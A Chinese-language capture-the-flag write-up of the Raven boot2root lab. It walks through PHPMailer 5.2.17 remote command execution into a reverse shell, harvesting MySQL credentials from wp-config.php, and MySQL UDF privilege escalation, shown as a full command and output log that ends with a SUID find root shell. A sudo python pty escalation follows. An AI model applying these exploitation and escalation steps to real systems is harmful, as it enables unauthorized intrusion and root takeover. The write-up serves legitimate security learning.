skyler实战渗透笔记:
笔记是为了记录实战渗透学习过程,分享渗透过程思路与方法。
请注意:
对于所有笔记中复现的终端或服务器,都是自行搭建环境或已获授权渗透的。使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
今天的目标,是一台Debian的机器,里面有4个flag,并且两种getshell的方法,一起来看下。
首先还是先发现目标:
确定目标IP 192.168.245.143,然后端口扫一下看看:
看起来开了22的ssh端口,80的web端口,以及一个特殊的rpcbind服务端口,那么下意识就觉得这个端口应该是有利用机会的,但是先从80访问看看:
是一个blog系统,到处点了点没什么发现:
目录扫一下试试:
首先正常目录中每个页面查看下源代码,发现了第一个flag
http://192.168.245.143/service.html
扫描发现了几个特殊的目录,挨个访问下:
http://192.168.245.143/manual/en/index.html
这里发现用的中间件是apache 2.4
http://192.168.245.143/vendor/
这里是phpmail的目录,里面发现当前phpmailer版本是5.2.17
网上搜了下,phpmailer这个版本有个远程命令执行的漏洞
OK,expolit里搜下看看有没有攻击脚本:
这边我先尝试了.sh的脚本,复制过来后执行报错,查了查报错内容,是因为这个从windows复制过来的脚本,换行符不一致,所以用dos2unix转换一下就可以执行了。
执行了脚本,也获取到一个远程的shell,但是命令无法回显。再尝试下python的脚本:
修改脚本中参数:
编译执行报错,发现里面有中文字符,开头加上这一句话:# -*- coding: utf-8 -*
再次执行,发现缺少库,pip install requests-toolbelt安装
重新编译执行
成功后,在kali本地开启端口监听8888,并访问http://192.168.245.143/back.php,获得shell并反弹bash
获取到权限,发现是一个低权限用户,没事,先搜一波flag
find / -name "*flag*"
OK,成功拿到第二个flag,而且目录里还有个wordpress的子目录,wordpress是个一键建站的工具,那cd到子目录看看有什么信息:
查看配置文件,发现了数据库的用户名和密码:cat wp-config.php
OK,先看看数据库运行的权限:
root运行的mysql。之前在学习sql注入的时候,注入成功后提权方式就提到了udf提权,正好拿来试试:
查看mysql版本5.5.60
用第二个,复制1518.c并编译生成动态链接库文件(DLL)
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o –lc
开启python服务器python -m SimpleHTTPServer 5555 ,并在目标机器中下载1518.so
OK,登录进mysql,开始udf提权:
mysql -uroot -pR@v3nSecurity
具体方法如下:
1 mysql> show databases; 2 show databases; 3 +--------------------+ 4 | Database | 5 +--------------------+ 6 | information_schema | 7 | mysql | 8 | performance_schema | 9 | wordpress | 10 +--------------------+ 11 4 rows in set (0.22 sec) 12 13 mysql> use wordpress 14 use wordpress 15 Reading table information for completion of table and column names 16 You can turn off this feature to get a quicker startup with -A 17 18 Database changed 19 mysql> create table foo(line blob); 20 create table foo(line blob); 21 Query OK, 0 rows affected (0.43 sec) 22 23 mysql> insert into foo values(load_file('/var/www/html/1518.so')); 24 insert into foo values(load_file('/var/www/html/1518.so')); 25 Query OK, 1 row affected (0.10 sec) 26 27 mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; 28 select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; 29 Query OK, 1 row affected (0.06 sec) 30 31 mysql> create function do_system returns integer soname '1518.so'; 32 create function do_system returns integer soname '1518.so'; 33 Query OK, 0 rows affected (0.10 sec) 34 35 mysql> select * from mysql.func; 36 select * from mysql.func; 37 +-----------+-----+---------+----------+ 38 | name | ret | dl | type | 39 +-----------+-----+---------+----------+ 40 | do_system | 2 | 1518.so | function | 41 +-----------+-----+---------+----------+ 42 1 row in set (0.00 sec) 43 44 mysql> select do_system('chmod u+s /usr/bin/find'); 45 select do_system('chmod u+s /usr/bin/find'); 46 +--------------------------------------+ 47 | do_system('chmod u+s /usr/bin/find') | 48 +--------------------------------------+ 49 | 0 | 50 +--------------------------------------+ 51 1 row in set (0.02 sec) 52 mysql> quit 53 quit 54 Bye 55 www-data@Raven:/var/www/html$ touch foo 56 touch foo 57 www-data@Raven:/var/www/html$ find foo -exec 'whoami' ; 58 find foo -exec 'whoami' ; 59 root 60 www-data@Raven:/var/www/html$ find foo -exec '/bin/sh' ; 61 find foo -exec '/bin/sh' ; 62 # whoami 63 whoami 64 root 65 # pwd 66 pwd 67 /var/www/html 68 # cd /root 69 cd /root 70 # ls 71 ls 72 flag4.txt 73 # cat flag4.txt 74 cat flag4.txt 75 ______ 76 77 | ___ 78 79 | |_/ /__ ___ _____ _ __ 80 81 | // _` / / _ '_ 82 83 | | (_| | V / __/ | | | 84 85 \_| \_\__,_| \_/ \___|_| |_| 86 87 88 flag4{715dea6c055b9fe3337544932f2941ce} 89 90 CONGRATULATIONS on successfully rooting Raven! 91 92 This is my first Boot2Root VM - I hope you enjoyed it. 93 94 Hit me up on Twitter and let me know what you thought: 95 96 @mccannwj / wjmccann.github.io
提权成功,另外在数据库中,还有一些意外发现:
posts表中,发现了两个flag:
发现还有个user表,查看:
发现两个用户和加密的密码,尝试md5解密:
michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
第一个没解出来,第二个:
OK,解开了,尝试登录下看看:
ssh steven@192.168.8.127
进来了,查看用户权限
发现可以运行python,那么直接python提权:
sudo python -c 'import pty; pty.spawn("/bin/bash")'
拿下!
UDF提权:
将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的libplugin文件夹下)
从udf文件中引入自定义函数(user defined function)
执行自定义函数
dumpfile通常用于读取二进制文件,不会造成损坏
create function do_system是我们添加的新的函数,用于执行系统命令
chmod u+s 表示给某个程序的所有者以suid权限,可以像root用户一样操作,也就是说给find命令最高权限
find / -exec ‘/bin/sh’ ;最终提权,赋予根目录下最高权限1